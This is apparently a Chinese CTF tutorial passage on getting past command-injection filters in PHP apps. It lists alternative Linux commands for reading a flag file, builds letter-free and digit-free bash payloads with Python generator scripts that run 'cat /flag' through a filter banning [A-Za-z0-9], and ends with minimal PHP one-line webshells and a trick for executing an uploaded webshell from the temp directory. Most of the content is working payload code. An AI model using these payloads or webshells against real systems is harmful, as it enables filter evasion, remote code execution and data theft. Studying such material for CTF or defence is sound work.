作用和head相似,但它默认显示最后 10 行。用法为:

Bash
tail /f*

不需要完整文件名

  • nl

可以为输出列加上编号。用法为:

Bash
nl /f*

不需要完整文件名

  • sed

Sed 代表流编辑器Stream Editor,常用于 Linux 中基本的文本处理.用法为:

Bash
sed p /f*

不需要完整文件名

  • sort

用于将文本文件内容加以排序。用法为:

Bash
sort /f*

不需要完整文件名

  • uniq

删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行。用法为:

Bash
uniq /f*

不需要完整文件名

  • rev

反转一个或多个文件的行。用法为:

Bash
rev /f*

不需要完整文件名,获得的是逆序的flag

当然,我们可以使用rev /f* | rev获得正序的flag:

  • od

od(Octal Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方式是八进制。用法为:

Bash
od -c /f*

不需要完整文件名

左侧是地址,去掉即可

  • vim/vi

这俩都是Linux里的文件编辑器,我们在网页直接用system(“vim /f*”);虽然不会进入编辑模式但还是可以看到里面的内容。用法为:

Text Only
vim /f* 
vi /f*

不需要完整文件名

  • man

man 命令是 Linux 下的帮助指令,通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息,类似于vim/vi,直接对文本运行可以看到文本内容。用法为:

Bash
man /f*
# 这里可能有版本限制,在Ubuntu22.04复现成功

不需要完整文件名

  • paste

使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。用法为:

Bash
paste /f*

不需要完整文件名

  • grep

查找文件里符合条件的字符串。用法为:

Bash
grep { /f*

不需要完整文件名

  • file

查看文件信息或类型。用法为:

Bash
file -f /f*

不需要完整文件名

  • dd

用于读取、转换并输出数据。用法为:

Bash
dd if=/flag

需要完整文件名

  • date

使用指定格式显示时间,或者设置系统时间,有时用于suid提权。用法为:

Bash
date -f /f*

不需要完整文件名

但他本质上是一种报错读取,直接system传值是没回显的,我们要读取报错才行:

Bash
a=$(date -f /f* 2>&1);echo $a;

然后再编一下码:

Text Only
a%3D%24(date%20-f%20%2Ff*%202%3E%261)%3Becho%20%24a%3B
  • 报错读取

linux里可以用点号执行shell脚本,同样,我们也可以用这种方法报错读取文件内容,前提是你的用户组有**读取文件的权限**:

Bash
a=$(. /f* 2>&1);echo $a;   #a%3D%24(.%20%2Ff*%202%3E%261)%3Becho%20%24a%3B

如果你的用户组有**执行文件的权限**,你可以直接/f*获得文件内容:

Bash
a=$(/f* 2>&1);echo $a;  #a%3D%24(%2Ff*%202%3E%261)%3Becho%20%24a%3B
  • diff

用于比较文件的内容,我们可以把想读取的文件内容和一个已知的文件进行比较,获得差集也就是我们想要的内容了,如:

Bash
diff /f* /etc/passwd

不需要完整文件名

  • xxd

它能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,输出形式有点像od -c如:

Bash
xxd /f*

不需要完整文件名

  • cp

最近比赛遇到一种情况,就是直接

Bash
cp /flag .

把flag复制到当前目录,然后直接访问/flag也能拿flag,或者

Bash
cp /f* /dev/stdout 

输出到标准输出中

利用shell脚本变量构造无字母命令

shell脚本中$的多种用法

和之前一样,首先介绍一下shell脚本中$的多种用法(参考):

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

Web-Bash-Vino0o0o的构造思路

这种题最早的出处应该是2017年34c3CTF里的minbashmaxfun,然后2020年安洵杯里有一道Web-Bash-Vino0o0o,借用了这种思路,不过因为原出处里 bash<<<{,,,,}这种形式并不能完美的执行命令,所以出题人采用了利用八进制实现命令构造的方法,美中不足的是那种做法并不能做到不出现数字,payload里出现了数字0,但那种构造思想很有趣,我也是顺着那条思路继续构造的,我使用的环境是centos,因此某些payload其他linux上可能不适用。

首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'的方式执行命令,比如我们可以用$'\154\163'执行ls:

可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。

除此之外在bash里我们可以使用[base#]n的方式表示数字,也就是说我可以用2#100表示十进制数字4:

因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:

Bash
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

理论上它可以代替$'\154\163'执行命令,但事实上是不行的:

可以看到这里只解析了一层解析到$'\154\163'就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数

但可惜我们是不能使用它的,所以还是得老老实实的用1或者0构造,这里我们可以想到bash里的一种语法:command [args] <<<[“]$word[“],在这种语法下$word会展开并作为command的stdin,以此来继续执行命令

但现在有个问题,就是用什么来代替bash,这时可以想到我之前提到过的一个环境变量$0,它可以表示脚本本身的名字,而这里正是bash

因此我们不难想出一种构造方式来:

Bash
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

值得一提的是,echo $0可能会显示-bash,原因如下:

  • bash:表示这是一个普通的 bash shell。
  • -bash:表示这是一个登录 shell,通常在用户登录时启动。

解决方法为再开一个子进程bash,此时$0就代表bash了

假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:

Bash
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

遗憾的是,这种payload并不能执行成功

bash会告诉你不存在cat /flag这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:

Bash
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

执行成功,成功解析出了/flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。

利用$#构造

在之前那篇文章里也提到过$#这个变量,它可以表示#脚本后所输入的字符串个数

如果#后面啥也没有它就是0,有一个字符串比如#就变成了1,似乎现在我们只要把1用\({##}替换,0用\)替换即可:

Bash
$${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'

可惜这种执行方法是不行的,因为虽然\(0表示bash,\)表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后

这时我们可以想到linux下感叹号!的一种用法,它可以进行变量替换

因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到\(0,并且还能成功解析,这时我们很容易想到刚刚使用的\),毕竟它的值就是零嘛:

可以看到确实能得到bash,我们再次替换回去,可以得到新payload:

Bash
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'

执行成功!但就这样还没完,毕竟这个payload理论上只是本地可以使用,像那道题原本的php环境里究竟能不能成功执行还是个未知数,我们起个本地环境:

PHP
<?php
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    if(preg_match("/[A-Za-z0-9]+/",$cmd)){
        die("NO.");
    }
    system($cmd);
}else{
    highlight_file(__FILE__);
}

把payload传过去试试:

可惜,这种方法在php里是不成功的。但这种payload并不是完全不行,经过我的研究,payload其实只是${!#}<<<${!#}这一段没解析出来bash<<<bash,所以导致命令失效,可以看到我们把它替换成\(0<<<\)0其实php也行

这里面的具体原因我也不是很懂,自我感觉可能是${!#}这种复杂变量不能通过php的system函数解析出来,于是我把它换了一种形式:

其实本质上也没啥差别,我只是增加了变量$__作为过渡,减少了解析的过程,但惊喜的是这种方法即使是在php下也可以成功解析:

Bash
__=${#};${!__}<<<${!__}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'

利用脚本:

Python
cmd='cat /flag'

payload='__=${#};${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')

payload+='\\\''

print(payload)

顺着这种思路,我开始思考其他构造方式。

利用$?构造

从上一次构造我们其实可以发现,只要我们找到一个代表值为零的变量就可以得到bash进而继续构造,$?这个变量自然而然进入我的视线,它可以显示最后命令的退出状态,0表示没有错误,其他表示有错误 ,因此只要我们的payload最后不报错它的值自然还是0了:

看我们上面的payload可以发现其实需要的数字也就0、1和2,2可以由1<<1构造出来,可以省略。不过由于\(?并不像\)#一样灵活,可以随意构造出来任何数字,所以我为了减轻麻烦使用自增运算构造出了1,2这两个数字,现在就已经足够了,payload:

Bash
__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'

直接像之前一样POST我们的payload的话报文里payload并没有被当作一个整体解析,所以我们可以url编码一下:

成功执行。

利用脚本:

Python
cmd='cat /flag'

payload='__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')

payload+='\\\''

print(payload)

利用$(())构造

利用$(())构造是g4师傅出的极限命令执行最后的预期解,不过g4师傅使用的是按位取反的方法构造出了payload,我这里给出一种不用取反的payload。

linux里可以通过__=$(())的方式将变量的值设置为0:

有了0我们自然可以像利用$?进行构造的方式一样通过自增继续构造:

Bash
__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'

同样的,POST的话记得编码一下

可以看到我们的payload其实也就替换了两个xx=$(()),所以如果大家还找到什么值为零的变量的话替换这两个即可。

利用脚本:

Python
cmd='cat /flag'

payload='__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')

payload+='\\\''

print(payload)

更多参考

最短的RCE PHP一句话

PHP
<?=`$_GET[1]`?>

PHP
<?= `$_GET[1]`;

PHP
<? `$_GET[1]`;

如果是上传webshell,那么我们可以尝试用最短的php代码去包含/执行这个webshell

PHP
没开短标签<?=`. /t*/*`;
开了短标签<?`. /t*/*`;

原理在于php的临时文件